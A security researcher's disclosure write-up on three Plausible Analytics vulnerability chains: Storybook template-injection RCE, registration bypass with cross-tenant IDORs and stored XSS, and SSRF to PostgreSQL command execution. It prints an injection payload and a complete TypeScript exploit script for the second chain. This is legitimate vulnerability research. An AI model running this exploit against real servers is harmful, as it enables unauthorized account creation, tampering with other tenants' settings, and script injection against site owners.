Multiple critical vulnerabilities at Plausible Analytics: pre-auth Storybook RCE, registration bypass with cross-tenant IDORs and stored XSS, and SSO verification SSRF to PostgreSQL RCE.
I had been using Plausible Analytics for years for my side projects, so one question kept bothering me: how safe is the software collecting all of this data?
Bug 01 / Critical
Pre-auth RCE via Phoenix Storybook
Affected: Plausible CE v3.0.0-v3.2.0·Fixed: v3.2.1
When I finally found time to audit it, the answer arrived faster than I expected. About 1 hour into static analysis, I had a user-controlled string reaching the Elixir compiler. A little later, remote command execution inside the Plausible container. Oops.
The issue is now tracked as CVE-2026-8467, a critical unauthenticated code-injection vulnerability in phoenix_storybook.
01 / ReconThe WebSocket was only the beginning
I started with Plausible’s registration flow and opened DevTools to see what the browser was doing. One request immediately stood out:
ReconPhoenix LiveView multiplexes page events over a single WebSocket connection.
This was my entry point into Phoenix LiveView, which carries browser events over a WebSocket to stateful processes on the server. I had never inspected LiveView traffic before, and seeing those messages was enough to pull me in. I downloaded the source for the project’s dependencies and began tracing the socket from the framework upward.
I started with phoenix_live_view itself, but found no promising attack surface there. So I changed the question: what else in Plausible was built on LiveView?
The next lead was phoenix_storybook, a LiveView-powered component explorer. Plausible wired it into the router at /storybook:
scope "/", PlausibleWeb do pipe_through :browser live_storybook("/storybook", backend_module: PlausibleWeb.Storybook)end
That exposed an interesting boundary: browser-originated LiveView events could update the attributes used to render a component variation. I opened the package source and followed one of those values from the WebSocket inward.
02 / Data flowFollowing one value into the compiler
The event that opened the path was psb-assign. It lets a Storybook preview update a component variation over LiveView. In the preview handler, the decoded browser payload is passed directly to handle_set_variation_assign/3:
The helper removes variation_id, then treats every remaining key-value pair as a component attribute. It turns the name into an atom and passes the value through to_value/4:
for {attr, value} <- params, reduce: variation_extra_assigns do acc -> attr = String.to_atom(attr) value = to_value(value, attr, story.attributes(), context) Map.put(acc, attr, value)end
The button story I targeted declares no Storybook attributes, although the component it renders accepts type as a string:
to_value/4 checks story.attributes(), not the component’s own declarations. Because that list is empty, it finds no type for type and returns my binary unchanged. A declared :string would also remain a binary, so missing type information is not the vulnerability by itself. The critical step comes next, when ComponentRenderer inserts every binary value directly into generated HEEx:
{name, val} when is_binary(val) -> ~s|#{name}="#{val}"|
There is no escaping before val is placed between the quotes. A crafted value can close the original attribute and introduce a new {...} HEEx expression. At that point, browser-controlled data has become template source.
The renderer then compiles that generated HEEx and evaluates the resulting Elixir AST:
EEx.compile_string/2 parses the injected {...} as a real expression. Code.eval_quoted_with_env/3 executes it. The environment imports the full Kernel function and macro lists, but imports are not even required for a fully-qualified call such as System.cmd/2. There is no module or function allowlist.
execution flow - diagram
playing - click any stage, or focus one and use the arrow keys
That is the complete path: a WebSocket value became a component attribute, the attribute became HEEx source, and the source became executable Elixir.
03 / PrimitiveBreaking out of the HEEx attribute
I first used an undefined variable instead of a command. It is a clean compiler oracle: if the server complains about aaaa, my value is no longer just a string.
The five top-level values are the Phoenix channel join reference, message reference, LiveView topic, channel event, and payload. The inner event: "psb-assign" is the Storybook action.
After JSON decoding, the malicious attribute value is:
foo" pwned={aaaa} a="
The renderer placed it inside another quoted attribute. The resulting HEEx contained the equivalent of:
<.button type="foo" pwned={aaaa} a="" />
Compiler oracleThe compile error proved that attacker-controlled input had escaped the string and entered HEEx expression context.
The first quote closed type. pwned={aaaa} became a new attribute whose value was an inline Elixir expression, and a=" repaired the remaining syntax. The server then returned exactly the error I wanted: undefined variable "aaaa".
Playload explanation
one character changes the grammar
See how one injected quote turns an attribute value into executable HEEx.
01 / GENERATED SOURCE
The renderer builds new source
attributes_markup/1~s|#{name}="#{val}"|
type="primary"
✓
Boundary intact
The template’s opening and closing quotes still contain the complete value.
02 / COMPILER
HEEx assigns meaning to each token
01
type"primary"
string attribute
→The compiler sees one data token and no executable expression.
03 / RESULT
The server reveals the outcome
render complete
$ renders
The value never crosses a syntax boundary. HEEx receives one ordinary string attribute.
What changed?Nothing - data stayed data.
01 / GENERATED SOURCE
The renderer builds new source
attributes_markup/1~s|#{name}="#{val}"|
type="foo" pwned={aaaa} a=""
"
Closes type
The first injected quote ends the original attribute.
{…}
Creates code
pwned becomes a new attribute with an expression value.
a=
Repairs syntax
A throwaway attribute consumes the template’s remaining quote.
02 / COMPILER
HEEx assigns meaning to each token
01
type"foo"
string attribute
02
pwned{aaaa}
HEEx expression
03
a""
syntax repair
→The compiler does not know this source came from an untrusted WebSocket value.
03 / RESULT
The server reveals the outcome
compiler rejected
$ CompileError: undefined variable "aaaa"
That error is the oracle: attacker-controlled text is being compiled as an Elixir expression.
What changed?The error proves the value became code.
System.cmd/2 returns {output, exit_status}. elem(..., 0) selects the command output so the injected expression produces a renderable string. The command executes during server-side template evaluation, before any rendering error can save the process.
Proof of executionThe LiveView diff contains the result of id: uid 999, the plausible user used by the official container image.
No account. No user interaction. One WebSocket event to a reachable Storybook playground was enough.
05 / ImpactWhat the attacker gets
This is pre-authentication remote code execution with the privileges of the Phoenix application process. In Plausible’s official container that process runs as the non-root plausible user (uid=999), which is why the PoC returned:
Code running inside the application can access everything the Plausible process can access: application secrets, database credentials, analytics data, writable files, and internal services reachable from the container. It can also modify or destroy data and execute any commands.
Here is PoC that you can use to test on your Plausible Analytics server:
HTTP/1.1 101 Switching Protocols - the transport changes here. The CSRF token and the cookie ride on the handshake, and everything below is a frame on this one socket. A foreign Origin is refused with 403, so the attacker connects directly rather than through someone else’s browser.
→+0 ms1/1phx_joinlv:phx-GM5LqdzkLvrJNwtC1169 B
Join the parent ComponentIframeLive. The topic is a per-session random id.
←+1 ms1/1phx_replystatus: "ok"1190 B
The reply embeds a second data-phx-session - the child playground’s own token.
→+1 ms2/2phx_joinlv:plausible_web_storybook_button-playground-preview1257 B
Join the child PlaygroundPreviewLive with that token. Still no account, still no interaction.
←+3 ms2/2phx_replystatus: "ok"971 B
The playground is live and accepting events on a channel the client opened itself.
The LiveView process dies, the event ref is never answered, and the compile error stays in the server log. The command still ran.
The public record assigns a CVSS 4.0 score of 9.5 Critical with the vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H. The attack requirement is that an affected Storybook playground is enabled and reachable.
07 / ReferencesDisclosure and references
The vulnerability was reported privately on May 11, 2026. It was introduced in commit e35379d and fixed in commit 56ab846.
Registration bypass to cross-tenant settings tampering + stored XSS
Affected: Plausible CE v2.1.2-v3.2.1 (latest)·Fixed: Unfixed in any release - patched on master
The second chain began at the registration form. Plausible Analytics CE defaults to invite-only registration, and an invalid invitation correctly renders an expired-invitation page. The mounted LiveView still accepted a direct register event, however, allowing an unauthenticated visitor to create a normal account without a valid invitation.
After creating an attacker-controlled site, that account could cross the tenant boundary by supplying another site’s site_id. The save-hostname-rule, save-ip-rule, save-page-rule, and save-country-rule handlers could add Shield rules to the victim site. save-goal could also re-parent an attacker-controlled goal to that site, where its crafted display_name became stored XSS when an owner or admin opened the goal for editing.
The PoC performs the complete chain: bypass registration, create and authenticate the attacker account, create a foothold site, add cross-tenant Shield rules, and plant the stored-XSS goal. Everything required to reproduce it is contained in the script; the accompanying video can carry the rest of the explanation.
PoCThe complete chain: invite-only registration bypass, cross-tenant Shield-rule changes, and a stored-XSS goal planted on another Plausible Analytics site.
poc-idor.tsTypeScript · 418 lines
#!/usr/bin/env bun// registration bypass + cross tenant idors + stored xssconst BASE = "http://127.0.0.1:8002";const WS = BASE.replace(/^http/, "ws") + "/live/websocket";const UA = "Mozilla/5.0";const VICTIM_SITE_ID = 1; // Target site_id -> whoareme.com == 1 in my case.const VICTIM_DOMAIN = "whoareme.com";const TS = Date.now();const email = `pwn-${TS}@attacker.com`;const password = "AttackerPassword12345!";const attackerDomain = `attacker-${TS}.com`;const XSS_PAYLOAD = "Edit me: " + " ".repeat(100) + "'+alert(document.domain)+'";const PAGE_PATH = `/xss`;const c = { reset: "\x1b[0m", bold: "\x1b[1m", red: "\x1b[31m", green: "\x1b[32m", yellow: "\x1b[33m",};const log = { hdr: (m: string) => console.log(`\n${c.bold}== ${m} ==${c.reset}`), ok: (m: string) => console.log(` ${c.green}[+]${c.reset} ${m}`), fail: (m: string) => console.log(` ${c.red}[-]${c.reset} ${m}`), warn: (m: string) => console.log(` ${c.yellow}[!]${c.reset} ${m}`), info: (m: string) => console.log(` [*] ${m}`),};const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));const m1 = (re: RegExp, s: string) => s.match(re)?.[1] ?? null;const formBody = (f: Record<string, string | number>) => new URLSearchParams( Object.entries(f).map(([k, v]) => [k, String(v)]), ).toString();const jar = new Map<string, string>();function applySetCookie(h: Headers) { const raws = (h as any).getSetCookie?.() ?? [h.get("set-cookie") ?? ""]; for (const raw of raws as string[]) { const m = raw.match(/^([^=]+)=([^;]+)/); if (m) jar.set(m[1], m[2]); }}const cookieHeader = () => [...jar.entries()].map(([k, v]) => `${k}=${v}`).join("; ");async function http(path: string, init: RequestInit = {}): Promise<Response> { const r = await fetch(BASE + path, { ...init, redirect: "manual", headers: { "User-Agent": UA, Cookie: cookieHeader(), ...(init.headers ?? {}), }, }); applySetCookie(r.headers); return r;}type LV = { joinReply: any; html: string; frames: () => any[]; event: (ref: string, value: any, cid?: number | null) => Promise<any>; close: () => void;};async function lvOpen(mountUrl: string): Promise<LV> { const u = new URL(mountUrl, BASE); const page = await http(u.pathname + u.search); if (page.status !== 200) throw new Error(`mount HTTP ${page.status} on ${mountUrl}`); const html = await page.text(); const csrf = m1(/name="csrf-token"[^>]*content="([^"]+)"/, html); const session = m1(/data-phx-session="([^"]+)"/, html); const staticTok = m1(/data-phx-static="([^"]+)"/, html); const phxId = m1(/id="(phx-[^"]+)"/, html); if (!csrf || !session || !phxId) throw new Error(`LV tokens missing on ${mountUrl}`); const ws = new WebSocket( `${WS}?_csrf_token=${encodeURIComponent(csrf)}&_track_static[0]=&_mounts=0&vsn=2.0.0`, { headers: { Cookie: cookieHeader(), Origin: BASE, "User-Agent": UA }, } as any, ); await new Promise<void>((res, rej) => { ws.addEventListener("open", () => res(), { once: true }); ws.addEventListener("error", (e) => rej(e), { once: true }); }); const all: any[] = []; const inbox: any[] = []; ws.addEventListener("message", (ev: MessageEvent) => { const data = typeof ev.data === "string" ? ev.data : new TextDecoder().decode(ev.data as ArrayBuffer); try { const a = JSON.parse(data); all.push(a); inbox.push(a); } catch {} }); const wait = async (ref: string, ms = 8000) => { const dl = Date.now() + ms; while (Date.now() < dl) { while (inbox.length) { const a = inbox.shift(); if (a[1] === ref && a[3] === "phx_reply") return a; } await sleep(20); } return null; }; ws.send( JSON.stringify([ "1", "1", `lv:${phxId}`, "phx_join", { url: mountUrl, params: { _csrf_token: csrf, _mounts: 0 }, session, static: staticTok, sticky: false, }, ]), ); const joinReply = await wait("1"); if (joinReply?.[4]?.status !== "ok") throw new Error( `phx_join failed on ${mountUrl}: ${JSON.stringify(joinReply).slice(0, 300)}`, ); return { joinReply, html, frames: () => all.slice(), event: async (ref, value, cid) => { const payload = cid != null ? { ...value, cid } : value; ws.send(JSON.stringify(["1", ref, `lv:${phxId}`, "event", payload])); const reply = await wait(ref); await sleep(80); return reply; }, close: () => ws.close(), };}// Merge every component ("c") map seen across all frames.function mergeComponents(frames: any[]): Record<string, any> { const out: Record<string, any> = {}; for (const f of frames) { const resp = f?.[4]?.response; const c = resp?.diff?.c ?? resp?.c; if (c && typeof c === "object") for (const k of Object.keys(c)) out[k] = c[k]; } return out;}// The Modal LiveComponent's cid — taken from a `JS.push("open", target: <cid>)`// command embedded in the rendered tree (data-onopen attribute).function findModalCid(frames: any[]): number { const blob = JSON.stringify(frames).replace(/"/g, '"'); const m = blob.match( /"event":"open"[^}]*?"target":(\d+)|"target":(\d+)[^}]*?"event":"open"/, ); if (!m) throw new Error("modal cid (open-event target) not found"); return Number(m[1] ?? m[2]);}function findFormCid(frames: any[]): number { const c = mergeComponents(frames); const cid = Object.keys(c).find((k) => JSON.stringify(c[k]).includes("save-goal"), ); if (!cid) throw new Error("form cid (component containing save-goal) not found"); return Number(cid);}function findShieldCid(html: string, event: string): number { const m = html.match(new RegExp(`phx-submit="${event}"\\s+phx-target="(\\d+)"`)) ?? html.match(new RegExp(`phx-target="(\\d+)"[^>]*phx-submit="${event}"`)); if (!m) throw new Error(`shield form cid not found for ${event}`); return Number(m[1]);}async function main() { log.info( `target ${BASE} victim=${VICTIM_DOMAIN} (site_id=${VICTIM_SITE_ID})`, ); log.info(`attacker ${email}`); log.hdr(`Stage 0: anonymous bypass-register ${email}`); { const lv = await lvOpen(`${BASE}/register/invitation/garbage`); const r = await lv.event("2", { type: "form", event: "register", value: formBody({ "user[name]": "yoyo", "user[email]": email, "user[password]": password, "user[password_confirmation]": password, "h-captcha-response": "", }), }); lv.close(); if (r?.[4]?.status !== "ok") throw new Error(`register failed: ${JSON.stringify(r).slice(0, 300)}`); log.ok(`registered (DISABLE_REGISTRATION=invite_only bypassed)`); } log.hdr("Stage 1: log in"); { const csrf = m1( /name="_csrf_token"[^>]*value="([^"]+)"/, await (await http("/login")).text(), ); if (!csrf) throw new Error("login csrf not found"); const r = await http("/login", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: formBody({ _csrf_token: csrf, email, password }), }); if (r.status !== 302) throw new Error(`login failed status=${r.status}`); log.ok(`logged in -> ${r.headers.get("location")}`); } log.hdr(`Stage 2: create attacker site ${attackerDomain}`); { const html = await (await http("/sites/new")).text(); const csrf = m1(/<input name="_csrf_token"[^>]*value="([^"]+)"/, html) ?? m1(/name="csrf-token"[^>]*content="([^"]+)"/, html); if (!csrf) throw new Error("create-site csrf not found"); const r = await http("/sites", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: formBody({ _csrf_token: csrf, "site[domain]": attackerDomain, "site[timezone]": "Etc/UTC", }), }); if (r.status !== 302) throw new Error(`POST /sites status=${r.status}`); log.ok(`created -> ${r.headers.get("location")}`); } log.hdr( "Stage 3: plant scroll goal with Alpine XSS payload (on attacker site)", ); { const lv = await lvOpen(`${BASE}/${attackerDomain}/settings/goals`); const modalCid = findModalCid(lv.frames()); await lv.event("2", { type: "click", event: "add-goal", value: { "goal-type": "scroll" }, }); await lv.event("3", { type: "click", event: "open", value: {} }, modalCid); const formCid = findFormCid(lv.frames()); log.info(`modal cid=${modalCid} form cid=${formCid}`); const r = await lv.event( "4", { type: "form", event: "save-goal", value: formBody({ "goal[page_path]": PAGE_PATH, "goal[scroll_threshold]": 90, "goal[display_name]": XSS_PAYLOAD, }), }, formCid, ); lv.close(); if (r?.[4]?.status !== "ok") throw new Error( `save-goal(create) failed: ${JSON.stringify(r).slice(0, 300)}`, ); log.ok( `scroll goal created on attacker site (display_name = ${XSS_PAYLOAD})`, ); } log.hdr("Stage 4: resolve the new goal id"); let goalId: number; { const html = await (await http(`/${attackerDomain}/settings/goals`)).text(); const ids = [...html.matchAll(/phx-value-goal-id="(\d+)"/g)].map((m) => Number(m[1]), ); if (ids.length === 0) throw new Error("no goal-id found on attacker goal-settings page"); goalId = Math.max(...ids); log.ok(`goal id = ${goalId}`); } log.hdr( `Stage 5: re-parent goal ${goalId} -> ${VICTIM_DOMAIN} (site_id=${VICTIM_SITE_ID})`, ); { const lv = await lvOpen(`${BASE}/${attackerDomain}/settings/goals`); const modalCid = findModalCid(lv.frames()); await lv.event("2", { type: "click", event: "edit-goal", value: { "goal-id": String(goalId) }, }); await lv.event("3", { type: "click", event: "open", value: {} }, modalCid); const formCid = findFormCid(lv.frames()); log.info(`modal cid=${modalCid} form cid=${formCid}`); const r = await lv.event( "4", { type: "form", event: "save-goal", value: formBody({ "goal[site_id]": VICTIM_SITE_ID, // <-- the IDOR: mass-assigned "goal[page_path]": PAGE_PATH, "goal[scroll_threshold]": 90, "goal[display_name]": XSS_PAYLOAD, }), }, formCid, ); lv.close(); if (r?.[4]?.status !== "ok") throw new Error( `save-goal(update/re-parent) failed: ${JSON.stringify(r).slice(0, 300)}`, ); log.ok( `save-goal(update) status=ok — goal re-parented onto ${VICTIM_DOMAIN}`, ); } log.hdr(`Stage 6: cross-tenant Shield-rule IDOR -> ${VICTIM_DOMAIN}`); { const shieldRules = [ { slug: "hostnames", event: "save-hostname-rule", fields: { "hostname_rule[site_id]": VICTIM_SITE_ID, "hostname_rule[hostname]": `google.com`, "hostname_rule[action]": "allow", }, }, { slug: "ip_addresses", event: "save-ip-rule", fields: { "ip_rule[site_id]": VICTIM_SITE_ID, "ip_rule[inet]": `203.0.113.${TS % 254}`, "ip_rule[description]": `pwned`, "ip_rule[action]": "deny", }, }, { slug: "pages", event: "save-page-rule", fields: { "page_rule[site_id]": VICTIM_SITE_ID, "page_rule[page_path]": `/pwn`, "page_rule[action]": "deny", }, }, { slug: "countries", event: "save-country-rule", fields: { "country_rule[site_id]": VICTIM_SITE_ID, "country_rule[country_code]": "US", "country_rule[action]": "deny", }, }, ]; for (const rule of shieldRules) { const lv = await lvOpen( `${BASE}/${attackerDomain}/settings/shields/${rule.slug}`, ); const cid = findShieldCid(lv.html, rule.event); const r = await lv.event( "2", { type: "form", event: rule.event, value: formBody(rule.fields) }, cid, ); lv.close(); log.ok(`${rule.event} reply status=${r?.[4]?.status}`); } } log.hdr("DONE — goal stored-XSS + shield IDOR planted on victim"); log.ok( `Goal ${goalId} now belongs to ${VICTIM_DOMAIN} (site_id=${VICTIM_SITE_ID}).`, ); log.info( `Trigger: a ${VICTIM_DOMAIN} owner/admin opens ${BASE}/${VICTIM_DOMAIN}/settings/goals`, ); log.info(` and clicks "edit" on goal "${PAGE_PATH}".`);}main().catch((e) => { console.error(e); process.exit(1);});
Disclosure
On May 22, 2026, I disclosed the full vulnerability chain and all reproduction details to the Plausible team.
Bug 03 / SSRF → RCE
SSO domain verification SSRF to PostgreSQL RCE
Affected: Tested on Plausible EE v3.2.1
The third chain was in Plausible EE’s SSO domain-verification worker. It fetched an attacker-controlled HTTPS URL with Req 0.5.16 and followed redirects across hosts and schemes without blocking private addresses or Docker service names. A verification redirect could therefore reach the unauthenticated ClickHouse service on the internal network.
ClickHouse was then used to create a PostgreSQL-source dictionary whose query contained COPY ... TO PROGRAM, resulting in command execution as uid=70(postgres) inside the database container. The video below shows the complete SSRF-to-RCE chain on plausible-ee:v3.2.1.
PoCSSO domain verification follows an attacker-controlled redirect into ClickHouse, which is chained into command execution in the PostgreSQL container.